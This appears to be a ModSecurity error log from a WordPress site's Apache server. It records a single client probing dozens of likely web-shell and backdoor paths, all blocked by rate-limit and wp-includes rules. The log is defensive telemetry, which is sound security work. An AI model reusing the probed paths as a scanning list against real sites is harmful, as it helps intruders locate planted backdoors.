[Fri Apr 03 05:06:14.309732 2026] [:error] [pid 22671:tid 22710] [client 20.104.201.101:2026] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/th/plugins/phpThumb/404.php"] [unique_id "ac7aRiRuUnMW7r8hvyY8GAAAABM"]
[Fri Apr 03 05:06:14.605397 2026] [:error] [pid 58590:tid 58611] [client 20.104.201.101:2031] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "ac7aRkze_aEPDM9xEE2bNAAAARM"]
[Fri Apr 03 05:06:15.183949 2026] [:error] [pid 58590:tid 58592] [client 20.104.201.101:2029] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/th/plugins/phpThumb/404.php"] [unique_id "ac7aR0ze_aEPDM9xEE2bNgAAAQA"]
[Fri Apr 03 05:06:15.456677 2026] [:error] [pid 58590:tid 58601] [client 20.104.201.101:1860] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "ac7aR0ze_aEPDM9xEE2bOQAAAQk"]
[Fri Apr 03 05:06:15.962492 2026] [:error] [pid 22673:tid 22751] [client 20.104.201.101:2009] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/preferences/index.php"] [unique_id "ac7aR--GlVDWdWxxwJBzVgAAAIU"]
[Fri Apr 03 05:06:16.178890 2026] [:error] [pid 22672:tid 22723] [client 20.104.201.101:1938] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "ac7aSKzrgXkFSOK0fvp3ggAAAEQ"]
[Fri Apr 03 05:06:16.831788 2026] [:error] [pid 58590:tid 58594] [client 20.104.201.101:2020] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "ac7aSEze_aEPDM9xEE2bPgAAAQI"]
[Fri Apr 03 05:06:17.087549 2026] [:error] [pid 22778:tid 22794] [client 20.104.201.101:1930] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files/log.php"] [unique_id "ac7aSfS-q9hkdFqUjq9nSwAAAMk"]
[Fri Apr 03 05:06:17.449120 2026] [:error] [pid 58590:tid 58606] [client 20.104.201.101:1994] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "ac7aSUze_aEPDM9xEE2bQgAAAQ4"]
[Fri Apr 03 05:06:18.147134 2026] [:error] [pid 22672:tid 22724] [client 20.104.201.101:1899] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files/log.php"] [unique_id "ac7aSqzrgXkFSOK0fvp3hgAAAEU"]
[Fri Apr 03 05:06:18.404170 2026] [:error] [pid 58590:tid 58592] [client 20.104.201.101:2005] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "ac7aSkze_aEPDM9xEE2bSAAAAQA"]
[Fri Apr 03 05:06:19.168848 2026] [:error] [pid 22778:tid 22793] [client 20.104.201.101:1864] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "ac7aS_S-q9hkdFqUjq9nTgAAAMg"]
[Fri Apr 03 05:06:19.858301 2026] [:error] [pid 22671:tid 22695] [client 20.104.201.101:2004] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "ac7aSyRuUnMW7r8hvyY8JgAAAAQ"]
[Fri Apr 03 05:06:20.033002 2026] [:error] [pid 58590:tid 58593] [client 20.104.201.101:1940] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files/log.php"] [unique_id "ac7aTEze_aEPDM9xEE2bSwAAAQE"]
[Fri Apr 03 05:06:21.039674 2026] [:error] [pid 22672:tid 22743] [client 20.104.201.101:1992] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files/log.php"] [unique_id "ac7aTazrgXkFSOK0fvp3igAAAFg"]
[Fri Apr 03 05:06:21.323076 2026] [:error] [pid 22671:tid 22696] [client 20.104.201.101:2044] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/wp-login.php"] [unique_id "ac7aTSRuUnMW7r8hvyY8KwAAAAU"]
[Fri Apr 03 05:06:22.333858 2026] [:error] [pid 22671:tid 22704] [client 20.104.201.101:1881] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "ac7aTiRuUnMW7r8hvyY8LQAAAA0"]
[Fri Apr 03 05:06:23.452545 2026] [:error] [pid 22672:tid 22728] [client 20.104.201.101:1969] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "ac7aT6zrgXkFSOK0fvp3mQAAAEk"]
[Fri Apr 03 05:06:23.679401 2026] [:error] [pid 22673:tid 22747] [client 20.104.201.101:1942] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/wp-login.php"] [unique_id "ac7aT--GlVDWdWxxwJBzZQAAAIE"]
[Fri Apr 03 05:06:24.697505 2026] [:error] [pid 22672:tid 22723] [client 20.104.201.101:1976] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "ac7aUKzrgXkFSOK0fvp3nwAAAEQ"]
[Fri Apr 03 05:06:25.532644 2026] [:error] [pid 22673:tid 22766] [client 20.104.201.101:2011] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "ac7aUe-GlVDWdWxxwJBzZwAAAJQ"]
[Fri Apr 03 05:06:28.679519 2026] [:error] [pid 22671:tid 22706] [client 20.104.201.101:1869] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/wp-login.php"] [unique_id "ac7aVCRuUnMW7r8hvyY8PgAAAA8"]
[Fri Apr 03 05:06:29.077473 2026] [:error] [pid 22673:tid 22753] [client 20.104.201.101:1824] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "ac7aVe-GlVDWdWxxwJBzcQAAAIc"]
[Fri Apr 03 05:06:30.317318 2026] [:error] [pid 22671:tid 22710] [client 20.104.201.101:1953] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/ectoplasm/wp-login.php"] [unique_id "ac7aViRuUnMW7r8hvyY8SQAAABM"]
[Fri Apr 03 05:06:31.099448 2026] [:error] [pid 22778:tid 22791] [client 20.104.201.101:2013] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/item.php"] [unique_id "ac7aV_S-q9hkdFqUjq9nYgAAAMY"]
[Fri Apr 03 05:06:31.904904 2026] [:error] [pid 22778:tid 22806] [client 20.104.201.101:1890] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/item.php"] [unique_id "ac7aV_S-q9hkdFqUjq9nZgAAANU"]
[Fri Apr 03 05:06:31.912907 2026] [:error] [pid 22778:tid 22805] [client 20.104.201.101:2040] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "ac7aV_S-q9hkdFqUjq9nZwAAANQ"]
[Fri Apr 03 05:06:33.152205 2026] [:error] [pid 22671:tid 22697] [client 20.104.201.101:2042] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/item.php"] [unique_id "ac7aWSRuUnMW7r8hvyY8UQAAAAY"]
[Fri Apr 03 05:06:33.262800 2026] [:error] [pid 22778:tid 22791] [client 20.104.201.101:2016] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "ac7aWfS-q9hkdFqUjq9nbgAAAMY"]
[Fri Apr 03 05:06:34.156907 2026] [:error] [pid 22778:tid 22805] [client 20.104.201.101:1928] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Assets/item.php"] [unique_id "ac7aWvS-q9hkdFqUjq9ndAAAANQ"]
[Fri Apr 03 05:06:35.047172 2026] [:error] [pid 22673:tid 22767] [client 20.104.201.101:1932] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "ac7aW--GlVDWdWxxwJBzhAAAAJU"]
[Fri Apr 03 05:06:35.806212 2026] [:error] [pid 22673:tid 22764] [client 20.104.201.101:1948] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/lock.php"] [unique_id "ac7aW--GlVDWdWxxwJBzhwAAAJI"]
[Fri Apr 03 05:06:35.960295 2026] [:error] [pid 22778:tid 22787] [client 20.104.201.101:1975] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "ac7aW_S-q9hkdFqUjq9ngQAAAMI"]
[Fri Apr 03 05:06:36.525080 2026] [:error] [pid 22673:tid 22748] [client 20.104.201.101:1936] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp.php"] [unique_id "ac7aXO-GlVDWdWxxwJBziwAAAII"]
[Fri Apr 03 05:06:37.150215 2026] [:error] [pid 22672:tid 22736] [client 20.104.201.101:1961] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/lock.php"] [unique_id "ac7aXazrgXkFSOK0fvp3rwAAAFE"]
[Fri Apr 03 05:06:37.189084 2026] [:error] [pid 22672:tid 22719] [client 20.104.201.101:1867] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp.php"] [unique_id "ac7aXazrgXkFSOK0fvp3sAAAAEA"]
[Fri Apr 03 05:06:37.929017 2026] [:error] [pid 22673:tid 22764] [client 20.104.201.101:2022] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp.php"] [unique_id "ac7aXe-GlVDWdWxxwJBzkwAAAJI"]
[Fri Apr 03 05:06:37.997315 2026] [:error] [pid 22671:tid 22708] [client 20.104.201.101:1947] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/lock.php"] [unique_id "ac7aXSRuUnMW7r8hvyY8VQAAABE"]
[Fri Apr 03 05:06:40.309841 2026] [:error] [pid 22671:tid 22696] [client 20.104.201.101:1968] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/content.php"] [unique_id "ac7aYCRuUnMW7r8hvyY8ZgAAAAU"]
[Fri Apr 03 05:06:42.507664 2026] [:error] [pid 22672:tid 22738] [client 20.104.201.101:1971] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/wp-login.php"] [unique_id "ac7aYqzrgXkFSOK0fvp3uQAAAFM"]
[Fri Apr 03 05:06:51.596833 2026] [:error] [pid 22671:tid 22700] [client 20.104.201.101:1882] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/preferences/index.php"] [unique_id "ac7aayRuUnMW7r8hvyY8kQAAAAk"]
[Fri Apr 03 05:06:56.607938 2026] [:error] [pid 22673:tid 22760] [client 20.104.201.101:1960] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/wp-login.php"] [unique_id "ac7acO-GlVDWdWxxwJBzsAAAAI4"]
[Fri Apr 03 05:07:04.446576 2026] [:error] [pid 22778:tid 22798] [client 20.104.201.101:1915] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "ac7aePS-q9hkdFqUjq9nvwAAAM0"]
[Fri Apr 03 05:07:35.913945 2026] [:error] [pid 22672:tid 22742] [client 20.104.201.101:1972] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "ac7al6zrgXkFSOK0fvp4lwAAAFc"]
[Fri Apr 03 05:07:36.754428 2026] [:error] [pid 58590:tid 58608] [client 20.104.201.101:1889] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp.php"] [unique_id "ac7amEze_aEPDM9xEE2cggAAARA"]
[Fri Apr 03 05:07:39.120758 2026] [:error] [pid 22778:tid 22804] [client 20.104.201.101:1879] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp.php"] [unique_id "ac7am_S-q9hkdFqUjq9onQAAANM"]
[Fri Apr 03 05:07:39.937113 2026] [:error] [pid 58590:tid 58611] [client 20.104.201.101:2025] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "ac7am0ze_aEPDM9xEE2cmQAAARM"]
[Fri Apr 03 05:07:39.952098 2026] [:error] [pid 22673:tid 22760] [client 20.104.201.101:1896] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp.php"] [unique_id "ac7am--GlVDWdWxxwJB0lgAAAI4"]
[Fri Apr 03 05:07:40.471703 2026] [:error] [pid 22672:tid 22743] [client 20.104.201.101:2019] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp.php"] [unique_id "ac7anKzrgXkFSOK0fvp4ngAAAFg"]
[Fri Apr 03 05:07:40.825630 2026] [:error] [pid 22673:tid 22768] [client 20.104.201.101:1958] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "ac7anO-GlVDWdWxxwJB0nQAAAJY"]
[Fri Apr 03 05:07:40.897478 2026] [:error] [pid 22671:tid 22697] [client 20.104.201.101:1903] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "ac7anCRuUnMW7r8hvyY80gAAAAY"]
[Fri Apr 03 05:07:41.329564 2026] [:error] [pid 22672:tid 22735] [client 20.104.201.101:1939] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "ac7anazrgXkFSOK0fvp4oAAAAFA"]
[Fri Apr 03 05:07:41.748622 2026] [:error] [pid 22671:tid 22714] [client 20.104.201.101:1944] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "ac7anSRuUnMW7r8hvyY81wAAABc"]
[Fri Apr 03 05:07:41.795044 2026] [:error] [pid 22671:tid 22707] [client 20.104.201.101:1943] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/bak.php"] [unique_id "ac7anSRuUnMW7r8hvyY82QAAABA"]
[Fri Apr 03 05:07:42.172478 2026] [:error] [pid 22672:tid 22725] [client 20.104.201.101:2037] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/index.php"] [unique_id "ac7anqzrgXkFSOK0fvp4pAAAAEY"]
